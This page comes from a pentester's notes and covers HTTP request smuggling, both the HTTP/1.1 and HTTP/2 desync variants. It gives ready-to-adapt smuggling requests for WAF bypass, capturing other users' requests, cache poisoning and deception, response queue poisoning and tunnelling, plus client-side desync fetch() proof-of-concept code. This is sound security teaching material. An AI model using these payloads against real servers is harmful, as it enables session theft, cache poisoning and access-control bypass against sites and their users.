> For the complete documentation index, see [llms.txt](https://ivalexev.gitbook.io/rednote/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ivalexev.gitbook.io/rednote/pentesting-process/web-attacks/http-request-smuggling.md).

# HTTP Request Smuggling

In modern web applications, traffic often flows through a front-end server (e.g., a load balancer or reverse proxy) that forwards HTTP requests to back-end servers. To improve efficiency, the front-end sends multiple requests over the same connection to the back-end. For this to work, both servers must agree on where one request ends, and the next begins. An **HTTP request smuggling** attack exploits discrepancies in this interpretation between the front-end and back-end. An attacker sends an ambiguous request that is interpreted differently by the two servers, allowing the attacker to "inject" their request into the next one. This can lead to severe vulnerabilities, such as bypassing security controls or stealing data (have a look at [this](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn) blog post by James Kettle).

Request smuggling mostly affects HTTP/1, since its specification allows two different ways to mark where a request ends, creating room for disagreement between servers. HTTP/2 sites can still be vulnerable, depending on their back-end architecture.&#x20;

<details>

<summary><code>Content-Length</code> header (Number of byte in body)</summary>

```http
PPOST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

x=smuggling
```

</details>

<details>

<summary><code>Transfer-Encoding</code> header (Chunked)</summary>

```http
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
x=smuggling
0


```

**NB**: `/n/r/n/r` after 0

</details>

## Detection

<figure><img src="https://797548868-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhqLG4rHdEASJgZEcYdEJ%2Fuploads%2FHmerTisOfMgxQYB7Vihd%2Fdetection.png?alt=media&amp;token=cf36b215-e2e1-45fb-a8d9-1326ebd2613f" alt=""><figcaption></figcaption></figure>

<details>

<summary><strong>Software-Specific Bugs</strong></summary>

Request Smuggling vulnerabilities do not only arise from differences in how front-end and back-end servers handle `Content-Length` and `Transfer-Encoding`. They can also result from software-specific bugs that cause requests to be parsed incorrectly, leading to discrepancies in how the two systems interpret request boundaries and body lengths.

[Example](https://grenfeldt.dev/2021/04/01/gunicorn-20.0.4-request-smuggling/): Gunicorn `20.0.4` incorrectly handled the `Sec-Websocket-Key1` header, truncating request bodies to 8 bytes regardless of the `Content-Length` or `Transfer-Encoding` values. Since the front-end proxy did not share this bug, the discrepancy could be exploited to achieve request desynchronization.

</details>

## Obfuscate TE Header

`Transfer-Encoding` takes precedence over `Content-Length` when both are present, as mandated by the HTTP specification (RFC 7230, now RFC 9112).

<figure><img src="https://797548868-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhqLG4rHdEASJgZEcYdEJ%2Fuploads%2FXGxQCeyBw580lv2zAgxE%2Fobfuscate.png?alt=media&amp;token=2186d4f2-7d92-4a3c-aea1-cbfae4682e34" alt=""><figcaption></figcaption></figure>

Try also to inject a Horizontal (`0x09` ASCII) and Vertical (`0x0b` ASCII) Tab Separator. We can do so in BurpSuite by switching to the `Hex` view in the Repeater Tab and directly editing.&#x20;

<details>

<summary><strong>With</strong> <a href="/rednote/pentesting-process/web-attacks/crlf-injection.md"><strong>CRLF injection</strong></a></summary>

In HTTP/1, you can sometimes exploit discrepancies between how servers handle standalone newline (`\n`) characters to smuggle prohibited headers (no `\r\n` because all HTTP/1 servers agree that this terminates the header).

```http
Foo: bar\nTransfer-Encoding: chunked
```

On the other hand, in HTTP/2 we can try `\r\n` because messages are binary rather than text-based. Try in Name Header and Value Header.

```http
Header: Foo
Value: bar\r\nTransfer-Encoding: chunked
```

```http
Header: Foo: bar\r\nTransfer-Encoding
Value: chunked
```

```http
# Also check in pseudo-headers separately.
Header: :method
Value: POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nDummy: asd
```

See also [HTTP/2-exclusive vectors](https://portswigger.net/web-security/request-smuggling/advanced/http2-exclusive-vectors).

</details>

## Attacks HTTP/1.1

{% tabs %}
{% tab title="CL.TE" %}
{% code overflow="wrap" %}

```http
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
```

{% endcode %}
{% endtab %}

{% tab title="TE.CL" %}
{% code overflow="wrap" %}

```http
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0


```

{% endcode %}
{% endtab %}

{% tab title="TE.TE" %}
Obfuscate the TE header so that one of the two systems fails to parse it correctly. Depending on which system fails to recognize the obfuscated header, front-end or back-end, the attack effectively becomes either CL.TE or TE.CL.\
See the [obfuscation TE header](#obfuscate-te-header) techniques and find the one that works.

{% code overflow="wrap" %}

```http
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: OBFUSCATEDchunked

0

SMUGGLED
```

{% endcode %}

{% code overflow="wrap" %}

```http
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Transfer-Encoding: OBFUSCATEDchunked

53
SMUGGLED
0


```

{% endcode %}
{% endtab %}

{% tab title="CL.0" %}
It's possible that the back-end server ignores the `Content-Length` header on requests to some endpoints. The most likely candidates are endpoints that aren't expecting `POST` requests (they implicitly assume that no requests have a body), such as static files or server-level redirects.

* 2 requests (attacking endpoint request and an arbitrary follow-up request)
* On the first set `Connection: keep-alive`, add body with request target
* Add the two requests in tab and `Send group in sequence (single connection)` \
  If the server responds to the second request as normal, this endpoint is not vulnerable.

```http
POST /target_to_test HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Connection: keep-alive

GET /random HTTP/1.1
foo: 
```

{% endtab %}
{% endtabs %}

### Bypassing Security Checks

HTTP Request Smuggling can bypass security mechanisms such as Web Application Firewalls (WAFs) and reverse proxies. These intermediaries may inspect and filter only the initial request, while a hidden, smuggled request is forwarded to the back-end server without being properly inspected. As a result, attackers can bypass security rules and access resources or trigger actions that would otherwise be blocked.

### Delivery & Unexploitable

HTTP Request Smuggling can be used as a mechanism to deliver malicious payloads through other users' requests, making it possible to exploit vulnerabilities that would otherwise be difficult or impossible to trigger. For example, an attacker can inject an XSS payload into a custom HTTP header that is reflected in the server's response. When a victim's request is processed, the payload becomes part of their request, causing the victim's browser to execute the injected JavaScript.

### Forcing Actions & Exfiltration&#x20;

Request Smuggling can be exploited to interfere with requests sent by authenticated users, potentially causing their browsers to perform unintended actions within the web application. Additionally, if an application reflects a request parameter in its response or stores its value through some other action, an attacker can smuggle a request that captures the next real user’s request and reflects or saves it, exposing it to the attacker.

Technique:

1. Find a POST request where a parameter’s value is reflected in the response, or saved through some other action.
2. Reorder the parameters so the reflected one is last in the body.
3. Smuggle this request to the back-end, truncating it right at that parameter, so the next real request (another victim’s) gets appended in place of the missing value.

In many applications, the front-end server performs some rewriting of requests before they are forwarded to the back-end server (typically by adding some additional request headers such as `X-Forwarded-For`). This technique can also be used to reveal exactly how the front-end server is rewriting requests.

{% code overflow="wrap" %}

```http
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /comments.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

comment=<NEW_REQUEST>
```

{% endcode %}

### Turn an On-Site Redirect into an Open Redirect

On-site redirects from one URL to another and place the hostname from the request's `Host` header into the redirect URL (ex. Apache and IIS web servers eith a request for a folder without a trailing slash, `/home` into `/home/`).

{% code overflow="wrap" %}

```http
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: [LENGTH to X]
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X 

( --> Redirect with Location: https://attacker-website.com/home/ )
```

{% endcode %}

If we have `Location: /example/` (relative path), we can try to inject URL in path.

### Web Cache Poisoning

If any part of the front-end infrastructure caches content received from the back-end (typically static resources for performance reasons), it may be possible to poison the cache using Request Smuggling. An attacker can smuggle a malicious request containing arbitrary payloads, such as an XSS injection, an unintended action, or a redirect, and then send a legitimate request for a cacheable resource (e.g., a static file). Due to the request desynchronization, the front-end proxy may incorrectly associate the response to the smuggled request with the URL of the subsequent cacheable request. As a result, the proxy stores the malicious response under the wrong cache key, causing future users requesting that resource to receive the poisoned content instead of the legitimate response.

{% code overflow="wrap" %}

```http
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: [LENGTH to X-->]
Transfer-Encoding: chunked

0

GET /malicious-endpoint HTTP/1.1
Host: vulnerable-website.com
Foo: X-->GET /static/resource.js HTTP/1.1
Host: vulnerable-website.com
```

{% endcode %}

### Web Cache Deception

Similar to web cache poisoning but the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.

{% code overflow="wrap" %}

```http
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: [LENGTH to X-->]
Transfer-Encoding: chunked

0

GET /private/messages HTTP/1.1
Foo: X-->GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...
```

{% endcode %}

### Response Queue Poisoning

Unlike other request smuggling attacks, this technique requires smuggling a complete, valid HTTP request, rather than an incomplete request prefix. This is important because the TCP connection between the front-end and back-end servers must remain open. If an invalid request is sent, either server may terminate the connection, preventing the attack. The result is a desynchronized response queue, causing users to receive responses intended for other users and potentially exposing sensitive information to the attacker.

{% code overflow="wrap" %}

```http
POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: x-www-form-urlencoded\r\n
Content-Length: 61\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /anything HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n
GET / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n
```

{% endcode %}

To distinguish stolen responses from responses to your own requests, you can use non-existent paths that consistently return `404 Not Found`.

Notice that no invalid requests are hitting the back-end, so the connection should remain open following the attack. The attacker may continue capturing responses as long as the desynchronized front-end/back-end connection remains open. Once the connection is closed, the attack stops on that connection, but it may be possible to poison another connection and repeat the process. The connection lifetime depends on the server configuration (for example, some servers close connections after a predefined number of requests).

### Client-side Desync

However, as we've learned from looking at [CL.0 attacks](#cl-greater-than-0), it's possible to cause a desync using fully browser-compatible HTTP/1.1 requests.

* Probe and Confirm desync CL.0 vector
* Use PoC below and add to your malicious site
* Identify an exploitable gadget (ex. request that write cookie in comment post)

{% tabs %}
{% tab title="Static File" %}
{% code overflow="wrap" %}

```javascript
fetch('https://vulnerable-website.com/vulnerable-endpoint', {
    method: 'POST',
    body: 'GET /hopefully404 HTTP/1.1\r\nFoo: x', // malicious prefix
    mode: 'no-cors', // ensures the connection ID is visible on the Network tab
    credentials: 'include' // poisons the "with-cookies" connection pool
}).then(() => {
    location = 'https://vulnerable-website.com/' // uses the poisoned connection
})
```

{% endcode %}
{% endtab %}

{% tab title="Redirect" %}
{% code overflow="wrap" %}

```javascript
fetch('https://vulnerable-website.com/redirect-me', {
    method: 'POST',
    body: 'GET /hopefully404 HTTP/1.1\r\nFoo: x',
    mode: 'cors',
    credentials: 'include'
}).catch(() => {
    location = 'https://vulnerable-website.com/'
})
```

{% endcode %}
{% endtab %}

{% tab title="Other" %}
{% code overflow="wrap" %}

```javascript
fetch('https://vulnerable-website.com/redirect-me', {
    method: 'POST',
    body: 'GET /hopefully404 HTTP/1.1\r\nFoo: x',
    mode: 'cors',
    credentials: 'include',
}).catch(() => {
        fetch('https://vulnerable-website.com/', {
        mode: 'no-cors',
        credentials: 'include'
    })
})
```

{% endcode %}
{% endtab %}
{% endtabs %}

## Attacks HTTP/2

Web servers and reverse proxies often do <mark style="color:red;">**downgrading**</mark> (the process of rewriting HTTP/2 requests using HTTP/1 syntax to generate an equivalent HTTP/1 request) in order to offer HTTP/2 support to clients while communicating with back-end servers that only speak HTTP/1. If a website is vulnerable to either [H2.CL](#h2.cl) or [H2.TE](#h2.te) request smuggling, you can potentially leverage this behavior to perform the same attacks that we see in [HTTP/1.1](#attacks-http-1.1).

{% hint style="info" %}
Chunked encoding is no longer supported in HTTP/2.\
In addition, HTTP/2 uses binary data frames with built-in length fields, eliminating the need for explicit headers to determine the request body length.
{% endhint %}

{% tabs %}
{% tab title="H2.CL" %}
During downgrade, if a `Content-Length` header is not present, front-end servers add it to create the HTTP/1.1 request, otherwise they simply reuse the one already present.\
The spec dictates that any `content-length` header in an HTTP/2 request must match the length calculated using the built-in mechanism, but this isn't always validated properly before downgrading. As a result, it may be possible to smuggle requests by injecting a misleading `content-length` header. Although the front-end will use the implicit HTTP/2 length to determine where the request ends, the HTTP/1 back-end has to refer to the `Content-Length` header derived from your injected one, resulting in a desync.

```http
POST /example HTTP/2
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

GET /admin HTTP/1.1
Host: vulnerable-website.com


```

{% endtab %}

{% tab title="H2.TE" %}
Chunked transfer encoding is incompatible with HTTP/2 and the spec recommends that any `transfer-encoding: chunked` header you try to inject should be stripped or the request blocked entirely. If the front-end server fails to do this, and subsequently downgrades the request for an HTTP/1 back-end that does support chunked encoding, this can also enable request smuggling attacks.

{% code overflow="wrap" %}

```http
POST /example HTTP/2
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com


```

{% endcode %}
{% endtab %}
{% endtabs %}

### Response Queue Poisoning

When we looked at [response queue poisoning](#response-queue-poisoning), you learned how to split a single HTTP request into exactly two complete requests on the back-end. In the example we looked at, the split occurred inside the message body, but when HTTP/2 downgrading is in play, you can also cause this split to occur in the headers instead.

<table data-header-hidden><thead><tr><th width="208"></th><th></th></tr></thead><tbody><tr><td>:method</td><td><code>GET</code></td></tr><tr><td>:path</td><td><code>/</code></td></tr><tr><td>:authority</td><td><code>vulnerable-website.com</code></td></tr><tr><td>foo</td><td><p><code>bar\r\n</code></p><p><code>Host: vulnerable-website.com\r\n</code> <br><code>\r\n</code></p><p><code>GET /admin HTTP/1.1</code></p></td></tr></tbody></table>

Or

<table data-header-hidden><thead><tr><th width="209"></th><th></th></tr></thead><tbody><tr><td>:path</td><td><code>/</code><mark style="color:yellow;"><code>?cachebuster=1</code></mark><code> HTTP/1.1\r\n</code> <br><code>Foo: bar</code> <em>(HTTP/2)</em></td></tr></tbody></table>

When rewriting, some front-end servers add the new Host header to the end of the current list of headers, so you need to manually insert it into the header for the first request.\
You will also need to adjust the positioning of any internal headers that you want to inject in a similar manner.

## Request Tunnelling

Unlike traditional Request Smuggling, Request Tunnelling does not require connection reuse between the front-end and back-end servers. A single request can trigger multiple responses from the back-end, allowing an attacker to hide a request and its corresponding response inside another request by exploiting differences in how the two systems interpret HTTP (e.g. bypass front-end security measures).

Depending on how the front-end handles response lengths, the attack can be blind or non-blind. If the front-end reads only the number of bytes specified by the `Content-Length` header of the first response, subsequent responses remain hidden. However, this behavior can sometimes be bypassed using `HEAD` requests, which include a `Content-Length` header but do not actually contain a response body. As a result, the front-end may read beyond the first response and forward part or all of the subsequent response to the client.

<details>

<summary><strong>HEAD HTTP/2</strong></summary>

<table data-header-hidden><thead><tr><th width="220"></th><th></th></tr></thead><tbody><tr><td>:method</td><td><code>HEAD</code></td></tr><tr><td>:path</td><td><code>/example</code></td></tr><tr><td>:authority</td><td><code>vulnerable-website.com</code></td></tr><tr><td>foo</td><td><code>bar\r\n</code> <br><code>\n\r</code><br><code>GET /tunnelled HTTP/1.1\n\r</code> <br><code>Host: vulnerable-website.com\n\r</code> <br><code>X: x</code></td></tr></tbody></table>

Try using different endpoint that returns a longer or shorter resource (`Content-Length`) or use a reflected input in HEAD request or in the tunnelled request.

</details>

### Response Manipulation & Mixing

Non-blind Request Tunnelling can allow attackers to combine the headers of one response with the body of another. By manipulating this combination, an attacker may cause the browser to interpret a response differently from what the back-end originally intended, potentially enabling otherwise unexploitable reflected XSS vulnerabilities.

If the front-end caches the resulting response, the manipulated content may also be served to subsequent users, resulting in Web Cache Poisoning.

<details>

<summary><strong>Example HTTP/2</strong></summary>

| :status        | `200`       |
| -------------- | ----------- |
| content-type   | `text/html` |
| content-length | `174`       |

{% code title="BODY" %}

```
HTTP/1.1 200 OK
Content-Type: application/json

{ "name" : "test<script>alert(1)</script>" }
[etc.]
```

{% endcode %}

</details>
